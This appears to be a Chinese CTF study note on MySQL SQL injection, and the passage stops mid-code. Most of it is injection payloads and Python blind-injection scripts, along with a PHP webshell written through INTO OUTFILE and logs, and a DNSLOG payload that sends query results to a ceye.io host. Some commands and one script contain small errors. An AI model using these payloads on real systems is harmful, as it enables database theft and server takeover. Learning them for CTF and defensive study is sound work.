SQL注入攻击

SQL注入攻击

定义:

SQL其实是一门对数据库操作语言,但是在一些web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操纵;这就是我们常说的SQL注入

原理:

  • 参数用户可控:前端传入后端的内容是用户可以控制的;
  • 参数带入数据库查询:传入的参数拼接到SQL语句,并且带入数据库查询。

与MySQL相关知识点:

MySQL其实就是一个数据库,再里面储存了很多的数据,在MySQL5.0版本以后,MySQL默认在数据库中存放了一个information_schema数据库,在该库里面,有三个表名值得我们注意:SCHEMATA TABLES COLUMNS

SCHEMATA表存放在用户储存的所有数据库名,其中字段名为:SCHEMA_NAME

TABLES表存放在用户储存的所有数据库名和表名,其中字段名分别为:TABLE_SCHEMA TABLE_NAME

COLUMNS表存放在用户储存的所有数据库名和表名和字段名,其中字段名分别为:TABLE_SCHEMA TABLE_NAME COLUMN_NAME

CONCAT():用于将多个字符串连接成一个字符串

group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据。通俗的讲,就是将你查询的结果全部整合一起排出来

rand():返回0到1之间的随机浮点值.。若已指定一个整数参数 N ,rand(N),则N被用作种子值,用来产生重复序列。

mid():MID(column_name,start[,length]),例如:mid(database(),1,1)就是说数据库名从第一个字选取一个字

substr()Substr()substring()函数实现的功能是一样的,表示被截取的字符串或字符串表达式,参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

left():得到字符串左部指定个数的字符。例如:Left ( string, n ) string为要截取的字符串,n为长度。

ord():此函数为返回第一个字符的ASCII码,例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’。

ascii():将某个字符转换为ascii值;例如:ascii(substr((select database()),1,1))即求得它的ascii

有回显的union注入

如果发现有回显,就可以考虑union注入了,UNION的作用是将两个select查询结果合并,如下图:

b

在注入之前我们就要找到闭合方式,下面就是常用的闭合吧,闭合之后页面会和每笔和有不一样的变化,所以可以自己分析

当在传参后面加上单引号,和双引号都报错的话说明是整数型。

1
2
3
4
5
?id=1
?id=1'
?id=1')
?id=1"
?id=1")

找到闭合方式是进行sql的前提,这里需要注意的就是如何根据报错来看闭合:

例如:

sfe

这里需要注意的就是看报错的时候,注意去除最左边和最右边的一个单引号。

找到闭合之后就可以进行union注入了,先查询列数:

1
?id=1' order by 3#

依次更改数字,当小于等于正确值时,都会正确显示,否则不会显示

然后根据列数进行注入,代码如下:

爆库:

1
2
?id=1' union select 1,2,database()#
?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata#

爆表:

1
?id=1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

爆列:

1
?id=1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='表名')#

爆数据:

1
?id=1' union select 1,2,(select '列名' from '表名')#

好了,这就是有回显的union注入,但是在做题的时候可没这么简单哦,一般都有过滤,我就遇到过过滤union的,这个时候该怎么办,其实解决方法很简单,换个注入方法或者来个注释绕过,例如:

1
?id=1' /!**union**/ .....

一般的就成功绕过了,再不行也可以尝试下url加密两次,因为浏览器会进行一次解密,但是这个一般我都没用,但也可以尝试下吧,还不行那就换个方法就是了。

做了一个绕过md5密码的sql注入题我又想起了一些关于union注入的东西:

我们在查询一些数据库没有的东西,他一样会显示出来,就是说也会进行查询,所以当遇到需要检查我们输入的密码和被查询的密码是否相同的时候我们可以进行查询我们自己的密码,在输入刚才查询的密码,其实这也相当于万能密码之类的。

a

当没有回显怎么办,先判断是否报错

有报错的报错注入:

如果报错,直接报错注入,常见报错方法:

  1. rand()随机数分组报错:即为主键重复

    原理:count()group by在遇到rand()产生的重复值时报错,其实就是countrand()group by三个连用就会造成主键重复报错,与位置无关

    例如:

    1
    1'union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

    解释:floor():向下取整。所以floor(rand(N)*2)只有两个值:0和1。
    group by a:以a进行分组,再计每一组的数。(此时a就代表concat连接而成的字符串),它连接了数据库用户名和随机数(0或1)。
    只有当种子值为0或-1时,才会报错;所以,为了让它报错而得到我们想要的信息,就要让种子值为0或-1。

    因为floor(rand(0))是稳定序列,再查询虚拟表和写入虚拟表的时候,就会产生主键重复。

    我们可以把payload中的select user()换成其他的查询,爆出我们想要的东西。

  2. Bigint型数据溢出SQL注入:(适用于MYSQL5.5.5及更高版本)

    ~0:对0按位取反,将得到BIGINT无符号数最大值;所以 ~0加上1后会发生溢出。

    当我们执行一条查询时,查询成功会返回0,所以当对查询逻辑取反时,返回值为1。

    以我们可以结合~0和逻辑取反,构造基于报错的payload:

    1
    select !(select * from (select user())x) -(ps:这是减号) ~0

    解释:x就代表select user()的结果.

  3. Double型数据溢出SQL注入:

    EXP(X)函数:返回e(自然数)的x方。当X传递一个大于709的值时,函数exp()就会引起一个溢出错误,例如:

    1
    select exp(~(select user()));

    其中~(select user())的值为最大无符号整数,造成exp溢出,顺带会查询出USER()用户名

  4. xpath函数报错:

XPath即为XML路径语言,它是一种用来确定XML文档中某部分位置的语言。

extractvalue()函数:对XML文档进行查-询的函数:

extractvalue(XML_document,Xpath_string)

第一个参数:XML文档对象名称;

第二个参数:Xpath格式字符串,即文本标记,如 ’ /book/author/initial '

返回查询值所包含的字符串,但函数的返回长度有限,为32个字符长度。

updatexml()函数:对XML文档进行修改的函数。

updatexml(XML_document,Xpath_string,new_value)

第一个参数:XML文档名;

第二个参数:Xpath格式字符串;

第三个参数:String格式,用它替换查询到的数据;

用指定数据替换查询到的内容,同样查询时返回长度限制32个字符。

上面两个函数都必须传入合法的格式“ /xxx/xx/xxx ”

 正常查询语句:
1
2
3
4
5
6
7
8
select * from users where id=1 and extractvalue('1','/good/goood');
````

查询结果:查询结果为空,但没有语法错误,所以不会报错,所以不会爆出数据。
不合法的查询语句:

```sql
select * from users where id=1 and extractvalue('1',(select user()));

查询结果:发生了报错,Xpath语法错误,执行了第二个参数里的sql语句,把数据库用户名查出来了

  1. 利用列名的重复性报错:

    构造重复的列

    1
    select * from (select name_const(version(),1),name_const(version(),1))a;

    payload如下:

    1
    http://127.0.0.1/sql/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

    如图:

    呜呜呜

    这方法只能爆个版本,不能爆有用数据,需要和join函数结合起来

    1
    2
    3
    4
    5
    6
    mysql> select * from(select * from users a join users b)c;
    ERROR 1060 (42S21): Duplicate column name 'id'
    mysql> select * from(select * from users a join users b using(id))c;
    ERROR 1060 (42S21): Duplicate column name 'username'
    mysql> select * from(select * from user a join users b using(id, username))c;
    ERROR 1060 (42S21): Duplicate column name 'password'

我就喜欢updatexml,因为好理解,而且非常方便

爆库:

1
?id=1' and updatexml(1,concat('~',database(),'~'),1)#   //注意~有时候可以换为0x7e

爆表:

1
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #

爆列

1
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='表名'),'~'),1) #

爆数据:

1
?id=1' and updatexml(1,concat('~',(select group_concat(admin,'~',password) from 数据库.表名)),1)#
1
2
3
4
5
6
爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

这就是报错注入,一般只要有报错,直接报错注入,很好用,过滤的话就是过滤and吧,

我们可以尝试大写绕过例如:And

或者两次的url加密

或者

1
/!**and**/

或者使用 || 和 &&(这个非常好用)

差不多报错就这些吧

补充:因为报错有字数限制,所以有时候获得的flag只有前面一般,所以我们还需要用到left() right()

例如:(过滤了空格,等号)

1
2
admin%27^updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))),1)%23
admin%27^updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))),1)%23

然后拼接起来就是了

flag{88ef73bf-fe5a-403e-a0a9-033a81b94d30}

有时候还需要用到reverse 逆序输出

例如[RCTF2015]EasySQL

1
username=w0s1np"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#

报错使用的时候

类别 函数 版本需求 5.5.x 5.6.x 5.7.x 8.x 函数显错长度 Mysql报错内容长度 额外限制
主键重复 floor round ✔️ ✔️ ✔️ 64 data_type ≠ varchar
列名重复 name_const ✔️ ✔️ ✔️ ✔️ only version()
列名重复 join [5.5.49, ?) ✔️ ✔️ ✔️ ✔️ only columns
数据溢出 - Double 1e308 cot exp pow [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
数据溢出 - BIGINT 1+~0 [5.5.5, 5.5.48] ✔️ MYSQL_ERRMSG_SIZE
几何对象 geometrycollection linestring multipoint multipolygon multilinestring polygon [?, 5.5.48] ✔️ 244
空间函数 Geohash ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash [5.7, ?) ✔️ ✔️ 128
GTID gtid_subset gtid_subtract [5.6.5, ?) ✔️ ✔️ ✔️ 200
JSON json_* [5.7.8, 5.7.11] ✔️ 200
UUID uuid_to_bin bin_to_uuid [8.0, ?) ✔️ 128
XPath extractvalue updatexml [5.1.5, ?) ✔️ ✔️ ✔️ ✔️ 32

当遇到没回显,不报错怎么办

无回显无报错的盲注

常见盲注方法:布尔盲注,时间盲注,状态码注入,笛卡尔积盲注

布尔盲注:if(ascii(substr(database(),1,1))>1,1,0)

时间盲注:if(ascii(substr(database(),1,1))=114,1,sleep(5))

状态码盲注:if((select ascii(substr(database(),1,1)))>1,1,(select 1 from mysql.user))

1
2
3
4
5
select if((select 1), 1, (select 1 from mysql.user));
# 输出: 1

select if((select 0), 1, (select 1 from mysql.user));
# 报错: ERROR 1242 (21000): Subquery returns more than 1 row

笛卡尔积延时注入:(原理:count(*) 后面所有表中的列笛卡尔积数,数量越多越卡,就会有延迟,从而达到延时注入的效果)

1
2
3
4
5
6
7
username=whoami&password=1' and if((select 1),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#
[OUTPUT:]
HTTP/1.1 504 Gateway Time-out # 有很长的延时, 以至于Time-out了

username=whoami&password=1' and if((select 0),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#
[OUTPUT:]
HTTP/1.1 200 # 没有延时

这里放一个盲注脚本吧,可以根据题目自行修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
url = "http://e3a1c4b6-8190-40c1-86c3-890c11354d89.node3.buuoj.cn/?stunum="

result = ""
i = 0

while( True ):
i = i + 1
head=32
tail=127

while( head < tail ):
mid = (head + tail) >> 1

#payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
#payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
payload = "if(ascii(substr((select/**/group_concat(value)from(ctf.flag)),%d,1))>%d,1,0)" % (i , mid)

r = requests.get(url+payload)
r.encoding = "utf-8"
#print(url+payload)
if "your score is: 100" in r.text :
head = mid + 1
else:
#print(r.text)
tail = mid

last = result

if head!=32:
result += chr(head)
else:
break
print(result)

堆叠注入

常见修改数据库语句:

1
2
3
4
5
6
7
create database - 创建新数据库
alert database- 修改数据库
creat table - 创建新表
alert table - 变更(改变)数据库表
drop table - 删除表
creat index - 创建索引(搜索键)
drop index - 删除索引

之前都没咋用到过,就是在随便注里面出现才学习了下,这里就以该题为例:

fef

尝试了下,有回显,有报错,直接union注入,通过order by字段为2;结果发现:

dwa

过滤了select,这就难搞了,你要获得最后字段的结果都需要用到select呀,就需要用到堆叠了

爆表,爆表,

1
2
1';show databases#
1';show tables#

awff

两个表,然后输出列,

1
1';show columns from words;#

fwwef

1
1';show columns from `1919810931114514`;#

fae

因为正常输入个1得到的是1和hahaha,如果默认查询19.....表名的字段,那么就会显示flag了,所以这里默认查询word表名的字段,因为也不能select,只有通过修改表名,把19....当成默认的,这里就需要renewalert(alert 添加、修改、删除字段)了,首先我们需要把word表名让出来,所以先来1';renew tables 'word' to 'word1';再把19....换成word1 1';renew tables 'word' to 'word1';renew tables '19....' to 'word';因为19....表少了一个列,所以要添加一个,所以使用alert table 'word' change 'flag' 'id' varchar(100)#,所以总的payload如下:

1
1';renew tables 'word' to 'word1';renew tables '19...' to 'word';alert table 'word' change 'flag' 'id' varchar(100)#

所以我们只要输入万能密码进去即可:1’ or ‘1’=’1

fesf

感觉难得就是想到默认表名和换表名了。值得思考下renew和alert。这里记一下他们的作用:

rename - 重命名

1
rename tables `words` to `word1`

重命名表wordsword1

alter - 变更列

1
alter table `words` change `flag` `id` varchar(100)

变更表words中的列flagid 且其性质为varchar(100)

mysql

  1. 创建表:

    1
    select * from users where id=1;creat table test like users;
  2. 删除表

    1
    select * from users where id=1;drop table test;
  3. 查询数据

    1
    select * from users where id=1;select 1,2,3;
  4. 修改数据

    1
    select * from users where id=1;insert into users(id,username,password) values('100','new','new')

该题还有一种方式,就是使用PDO预编译

MySQL的预编译语法为:

1
2
3
4
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

直接payload:

1
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
1
2
3
4
5
6
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

异或注入

其实也就相当于盲注,就是当and or这些逻辑运算符被过滤了的时候使用

两个同为真的条件做异或,结果为假

两个同为假的条件做异或,结果为假

一个条件为真,一个条件为假,结果为真

null与任何条件(真、假、null)做异或,结果都为null

基本payload:

1
admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23

最前面和最后面的语句都固定为真(逻辑结果都为1),只有中间的语句不确定真假

那么整个payload的逻辑结果都由中间的语句决定,我们就可以用这个特性来判断盲注的结果了

1
2
0^1^0 --> 1 语句返回为真
0^0^0 --> 0 语句返回为假

就可以以此构招脚本跑了

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://web43.buuoj.cn/index.php"

result = ''
for i in range(1, 38):
for j in range(0, 256):
payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
print(payload)
r = requests.post(url, data = {'id': payload})

if r.text.find('girl') == -1:
result += chr(j)
print(j)
break

print(result)

这是[CISCN2019 华北赛区 Day2 Web1]Hack World所需脚本,其中就使用了异或注入payload

使用场景:

过滤了and or ,(逗号) 空格

REGEXP注入

就是regexp正则注入

  1. 基本注入

1
select (select 语句) regexp '正则'

a.正则注入

当匹配则返回1,未匹配则返回0

faw

gr

所以username里面第一个字符为1

b.regexp代替where里面的 =

gdr

^被过滤了,我们也可以使用 $来从后往前进行匹配

gerd

c.在联合注入中使用

1
1 union select 1,database() regexp '^s',3 --+
  1. REGEXP盲注

    payload:

    1
    ' or database() regexp '^s'--+

    脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    import requests
    import string

    strs = string.printable
    url = "...?id="

    database1 = "' or database() regexp '^{}'--+"
    table1 = "' or (select table_name from information_schema.tables where table_schema=database()limit 0,1) regexp '^{}'--+"
    cloumn1 = "' or (select cloumn_name from information_schema.cloumns where table_name='' and table_schema=database()limit 0,1) regexp '^{}'--+"
    data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"

    payload = database1
    if __name__ == "__main__":
    name = ''
    for i in range(1,40):
    char = ''
    for j in strs:
    payloads = payload.format(name+j)
    urls = url+payloads
    r = requests.get(urls)
    if "You are in" in r.text:
    name += j
    print(j,end='')
    char = j
    break
    if char == '#':
    break

    使用场景:

    过滤了= in like

这里还有一个小trick,就是在注入语句后面添加regexp+正则表达式来过滤查询出的内容:

1
(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

筛选出以f开头的结果

LIKE注入

  1. 基本注入

    a.like 'wo%'判断前面两个字符是否为wo

    grhs

    b.like '%wo%'判断是否包含wo这两个字符

    hgrd

    c.like '_ _ _ _ _'判断是否为5个字符

    d.like 'w_ _ _ _'判断第一个是否为w

  2. LIKE盲注

    payload:

    1
    ' or database() like 's%'--+

    盲注脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    import requests
    import string

    strs = string.printable
    url = ".............id="

    database1 = "' or database() like '{}%'--+"
    table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}%'--+"
    cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) like '{}%'--+"
    data1 = "' or (select username from users limit 0,1) like '{}%'--+"

    payload = database1
    if __name__ == "__main__":
    name = ''
    for i in range(1,40):
    char = ''
    for j in strs:
    payloads = payload.format(name+j)
    urls = url+payloads
    r = requests.get(urls)
    if "You are in" in r.text:
    name += j
    print(j,end='')
    char = j
    break
    if char =='#':
    break

IN

在过滤等号或者过滤like等的sql注入情况下IN很有用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> select * from users where id in (1,2);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
+----+----------+------------+
2 rows in set (0.00 sec)

mysql> select substr('abc',1,1) in ('z');
+----------------------------+
| substr('abc',1,1) in ('z') |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (0.00 sec)

mysql> select substr('abc',1,1) in ('a');
+----------------------------+
| substr('abc',1,1) in ('a') |
+----------------------------+
| 1 |
+----------------------------+
1 row in set (0.00 sec)

Between

BETWEEN操作符在WHERE子句中使用,作用是选取介于两个值之间的数据范围。也就说让我们可以运用一个范围(range)内抓出数据库中的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
mysql> select * from users where id between 1 and 3;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
+----+----------+------------+
3 rows in set (0.00 sec)

mysql> select * from users where username between 'sa' and 'sz';
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+-----------+
3 rows in set (0.00 sec)

还支持16进制
mysql> select * from users where username between 0x7365 and 0x737a;
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+-----------+
3 rows in set (0.00 sec)

可以结合字符串截取进行盲注
mysql> select * from users where substr(username,1,1) between 'a' and 'd';
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 7 | batman | mob!le |
| 8 | admin | admin |
+----+----------+------------+
5 rows in set (0.00 sec)

order by盲注

首先,order by作用:

就是对查询数据进行排列的方法,例如:

re

可以发现,它是按照第一列id从小到大排列的

hr

可以发现,它是按照第二列username从小到大排列的

以上就可以知道order by的用法了

1
2
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序

order by 盲注后台sql查询语句:

1
$sql="SELECT * FROM users ORDER BY $id";

我们可以通过 asc 和 desc 来判断是否存在order by注入漏洞,因为 asc 和 desc 排列方式不同,如果我们输入这个改变了排列方式,那么说明我们写入的东西在order by 后面。

ger

gr

  1. 报错注入:

    1
    直接在order by后面加语句:order by (SELECT extractvalue(1,concat(0x7e,(select @@version),0x7e))) 进行报错注入
  2. rand()方式

    1
    2
    3
    4
    rand()会返回一个01之间的随机数,如果参数被赋值,同一个参数会返回同一个数。
    这里就可以用布尔盲注的方式来进行注入
    order by rand(mid(version(),1,1)=5)
    当然这里也可以用时间盲注的方式。
  3. 时间盲注

    1
    2
    3
    4
    5
    order by后面的不会根据计算的结果来排序,但是当我们的payload有延迟命令的时候,页面还是会延迟的。

    使用and连接时间延迟payload:

    order by 1 and (If(substr(version(),1,1)=5,0,sleep(5)))
  4. 配合union select 进行注入

    原理:我们目的是读取F1ag里面的那串16加密的字符

    gre

    然后对第二列排列:

    grs

    当我们在union select后面那里的2换为6会发生什么呢:

    fse

    发现没啥变化,还是开始查询那个在第一行,但是当我们把再换一个呢:

    gser

    可以发现想读取的东西就提到第一行了,所以这里经常用来判断有返回差异的注入,且返回只有一列的输出,根据差异来判断我们盲注的值是否正确

    分析上面,就是当我们在第二个位置的地方输入正确的字符时,输入的就会提到第一个,当错误的时候,想读取的东西就提到第一行了

    适用场景:

    1
    2
    3
    过滤了列名
    过滤了括号
    适用于已知该表的列名以及列名位置的注入

    下面是三之师傅出的一道order by 注入的ctf,和上面讲的方法一致:

    源代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    <?php
    $dbhost = 'localhost'; // mysql服务器主机地址
    $dbuser = 'root'; // mysql用户名
    $dbpass = 'root'; // mysql用户名密码
    $conn = mysqli_connect($dbhost, $dbuser, $dbpass);
    if(! $conn )
    {
    die('Could not connect: ' . mysqli_error());
    }
    mysqli_select_db($conn, 'user');
    $id = $_GET['id'];
    if (!isset($id)){
    echo "Please tell me the id , And you should think what is the sort way.";
    exit();
    }
    //echo strtolower($id)."<br/>";
    if (preg_match('/(char|hex|conv|lower|lpad|into|password|md5|encode|decode|convert|cast)/i',strtolower($id)) != 0){ //|\s
    echo "NoNoNo";
    exit();
    }

    if (stripos($id, "F1ag")){
    echo "Close, but No!!! Thinking...";
    exit();
    }
    $sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";";
    $retval = mysqli_query($conn, $sql);
    if(!$retval)
    {
    die('???');// . mysqli_error($conn)
    }
    while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
    {
    echo "<tr><td> id: {$row['id']} </td> ".
    "<td> name: {$row['username']} </td> <br/>".
    "</tr>";
    }
    mysqli_close($conn);
    ?>

    sql:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    SET NAMES utf8mb4;
    SET FOREIGN_KEY_CHECKS = 0;

    -- ----------------------------
    -- Table structure for this_1s_th3_fiag_tab13
    -- ----------------------------
    DROP TABLE IF EXISTS `this_1s_th3_fiag_tab13`;
    CREATE TABLE `this_1s_th3_fiag_tab13` (
    `id` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
    `F1ag` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
    `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL,
    `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL
    ) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;

    -- ----------------------------
    -- Records of this_1s_th3_fiag_tab13
    -- ----------------------------
    INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('3', '666C61677B643067335F74687265657A68317D', 'threezh1', 'You is pig');
    INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('1', 'No the Flag', 'oops,This is not the flag id', 'You is pig');
    INSERT INTO `this_1s_th3_fiag_tab13` VALUES ('2', 'No the Flag', 'Not the flag also', 'You is pig');

    SET FOREIGN_KEY_CHECKS = 1;

    已知:数据库名:users,表名:this_1s_th3_fiag_tab13,字段名:F1ag,列号为2

    因为我们想读取第二列里面得数据,所以就在第二列那里修改数据就好

    所以构造payload:

    1
    ?id=3 union select 1,'字符',3 order by 2
    1
    2
    3
    4
    5
    6
    7
    8
    ?id=3 union select 1,'6',3 order by 2
    返回:
    id: 1 name: 3
    id: 3 name: threezh1
    ?id=3 union select 1,'7',3 order by 2
    返回:
    id: 3 name: threezh1
    id: 1 name: 3

    因为6是像读取的第一个字符,所以为6的时候,flag就在后面,但是超过6之后,flag就在前面了,所以就可以依次注入下去就知道了

    脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    import requests
    key = "<tr><td> id: 3 </td> <td> name: threezh1 </td> <br/></tr><tr><td> id: 3 </td> <td> name: 3 </td> <br/></tr>"
    words = ""
    data = "id=3 union select 3,'{0}',3 order by 2"
    dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"


    for i in range(100):
    for j in dic:
    payload = data.format(words + j)
    print(payload)
    content = requests.get("http://127.0.0.1/index.php?" + payload)
    if key in content.text:
    words = words + temp
    print(words)
    break
    temp = j

grs

这里有个问题就是,当select 1,2,3 中字段位的数据与数据库里的数据相等时,,匹配的时候如果是匹配的是7就是7不用再退一位。

最后跑出来是666c61677b643067335f74687265657a68317c

那么真实的flagbase16编码为:666c61677b643067335f74687265657a68317d

无列名注入:

构造别名

正常的查询如下:

z

1
select 1,2,3,4 union select * from hahaha;

x

我们可以自己构造名字进行查询

1
select b from (select 1,2 as b,3,4 union select * from hahaha)a;

c

join … using(xx)

当知道表名为users时,使用如下语句得到列名
第一列:

1
?id=-1' union all select*from (select * from users as a join users b)c#

第二列:

1
?id=-1' union all select*from (select * from users as a join users b using(id))c–+

第三列:

1
?id=-1' union all select*from (select * from users as a join users b using(id,username))c–+

文件读写:

file_priv和secure-file-priv

file_priv是对于用户的文件读写权限,若无权限则不能进行文件读写操作,可通过下述payload查询权限。

1
select file_priv from mysql.user where user=$USER host=$HOST;

v

secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:

无内容,表示无限制。

为NULL,表示禁止文件读/写。

为目录名,表示仅允许对特定目录的文件进行读/写。

5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。
三种方法查看当前secure-file-priv的值:

1
2
3
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";

b

读文件

Mysql读取文件通常使用load_file函数,语法如下:
select load_file(file_path);
第二种:
load data infile “/etc/passwd” into table test FIELDS TERMINATED BY ‘\n’; #读取服务端文件
第三种:
load data local infile “/etc/passwd” into table test FIELDS TERMINATED BY ‘\n’; #读取客户端文件

限制:

  • 前两种需要secure-file-priv无值或为有利目录。
  • 都需要知道要读取的文件所在的绝对路径。
  • 要读取的文件大小必须小于max_allowed_packet所设置的值

写文件

常见的写文件操作如下:

1
2
select 1,"<?php @assert($_POST['w0s1np']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['w0s1np']);?>" into dumpfile '/var/www/html/1.php';

限制:

  • secure-file-priv无值或为可利用的目录
  • 需知道目标目录的绝对目录地址
  • 目标目录可写,mysql的权限足够
日志法

由于mysql在5.5.53版本之后,secure-file-priv的值默认为NULL,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。
mysql日志文件的一些相关设置可以直接通过命令来进行:

1
2
3
4
5
6
7
8
//请求日志
mysql> set global general_log_file = '/var/www/html/1.php';
mysql> set global general_log = on;
//慢查询日志
mysql> set global slow_query_log_file='/var/www/html/2.php'
mysql> set global slow_query_log=1;
//还有其他很多日志都可以进行利用
...

之后我们在让数据库执行满足记录条件的恶意语句即可。

限制:

  • 权限够,可以进行日志的设置操作
  • 知道目标目录的绝对路径

DNSLOG外带数据(目标系统为Windows才可用)

payload:

1
2
3
4
load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))

http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass)
FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))

应用场景:

  • 三大注入无法使用
  • 有文件读取权限及secure-file-priv无值。
  • 不知道网站/目标文件/目标目录的绝对路径
  • 目标系统为Windows

Windows中,路径以\开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOGLinux环境不适用。注:payload里的四个\中的两个\是用来进行转义处理的。

约束攻击

SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“w0s1np”等同于“w0s1np ”

先举个例子:
建立一个用户表:做了25个字符的限制

1
2
3
4
CREATE TABLE users(
username varchar(25),
password varchar(25)
)

注册代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username'";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
die('账号已注册');
}else{
$sql2 = "insert into users values('$username','$password')";
mysqli_query($conn,$sql2);
die('注册成功');
}
?>

登录判断代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
